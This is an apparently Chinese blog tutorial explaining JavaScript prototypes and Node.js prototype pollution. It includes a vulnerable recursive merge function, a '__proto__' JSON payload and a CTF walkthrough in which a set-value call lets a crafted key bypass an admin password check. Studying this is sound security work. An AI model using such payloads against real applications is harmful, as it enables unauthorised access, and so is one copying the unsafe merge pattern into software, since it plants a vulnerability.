NodeJs原型链污染

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
6 分钟

NodeJs原型链污染

为了学这个知识点,特意又回顾了下js知识

js对象相关

对象创建

首先了解一下js对象创建的三种方法,js对象其实就是大括号加键值对。

  • 普通创建:直接用大括号加键值对

    1
    2
    var person = {name:'zhangsan',age:11};
    var person = {} // 创建空对象
  • 使用构造函数:先写一个里面含this的普通函数(使用this给键赋值),再用new来创建对象,记得加new!

    1
    2
    3
    4
    5
    6
    function person(name,age){
    this.name = name;
    this.age = age;
    }
    var person1 = new person("zhangsan",11);
    console.log(person1.name);
  • 直接使用Object构造函数,需要什么键值对再自己赋值即可,这里需要注意的是在js中,如果访问了对象中不存在的键,就会自动添加该键并赋值。

    1
    2
    var o4 = new Object();
    o4.name = "lisi";

对象继承

由于js中并没有class这个概念(构造函数近似class,而函数其实也相当于对象,也就是说js中一切都是对象),所以继承不能够像java和cpp一样基于class,只能采用原型继承。

原型继承是对象与对象之间的继承,继承关系形成了一条原型链。

而函数的prototype属性就指向了自己的原型对象,原型对象是一个普通的JavaScript对象,它包含着一些属性和方法,这些属性和方法可以被该函数的所有实例共享。

当使用new操作符来创建一个实例对象时,实例对象会继承它所属的构造函数的原型对象中的属性和方法。实例对象可以通过原型链访问原型对象中的属性和方法。如果实例对象需要访问的属性或方法在自身上找不到,它就会沿着原型链向上查找,直到找到或者到Object的原型(Object的原型是null)返回nodefined为止

image-20230726185615791

prototype和__proto__的区别

在 JavaScript 中,每个对象都有一个 __proto__ 属性,它指向该对象的原型。原型是一个对象,也可以有自己的原型,这样就形成了一个原型链。同时,每个函数也有一个 prototype 属性,它是一个对象,当该函数作为构造函数创建实例时,实例对象的 __proto__ 属性会指向该构造函数的 prototype 属性,这样就可以实现属性和方法的继承。

区别在于:

  • prototype属性是函数所独有的,而__proro__属性是每个对象都有的(再强调一次,函数也是js对象)
  • prototype 属性指向一个对象,它是用来存储属性和方法,这些属性和方法可以被该函数的实例对象所继承。而 __proto__ 属性指向该对象的原型,它是用来实现对象之间的继承。简单来说就是functionName.prototype===varName.__proto__,都可以访问到对象的原型。

nodejs原型链污染

概念

一句话概括原型链污染:如果修改了一个对象的原型,那么会影响所有来自于这个原型的对象,这就是原型链污染。

原型链污染通常出现在对象,数组的键名或者属性名可控,同时是赋值语句的情况下 (简单来说就是键名和键值都可控情况下),将键名设置为__proto__就可以利用赋值语句修改原型对象,进而实现原型链污染,常见的危险函数有merge和clone。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var o1 = {};
var o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');//使用json传输数据,如果不使用json,__proto__就会直接被解析而不会被当成键,o2的__proto__就直接变成了{"b":2},无法进行原型链污染
merge(o1,o2);
var o3 = {};
console.log(o3.b); //输出2,说明原型链污染成功,在Object中加入了b:2这个键值对,导致创建的对象中查b都能出2.

image-20230726192419573

通过断点调试可以明显看到污染的流程,__proto__当成键时,source和target都有,就递归调用merge,递归调用时的target就是target.__proto__即访问到了原型,而source就是我们一开始设置的{"b":2},于是在原型中加入了新的键。

利用

在ctf比赛中,最常见的原型链污染利用方法就是修改admin密码实现越权。

一次比赛中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send("You get flag !");
}else {
res.send("Wrong password!Are you Admin?");
}
}
}); //概括,就是要让Admin[key]=password。

const setFn = require('set-value');
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});

router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("OK");
console.dir(req.session.knight.__proto__)
}//这里有一个赋值的操作而且键名键值都可控
}
});
1
2
3
4
{
"NewAttributeKey":"__proto__.mypasswd",
"NewAttributeValue":"111"
}

成功往req.session.knight原链中加入mypasswd:111,之后再传key为mypasswd,由于Admin没有这个键,就会往上找,找到111,获得flag。

参考链接:

【WEB】nodejs原型链污染 | 狼组安全团队公开知识库 (wgpsec.org)

Node.js原型链污染的利用 - FreeBuf网络安全行业门户

原型继承 - 廖雪峰的官方网站 (liaoxuefeng.com)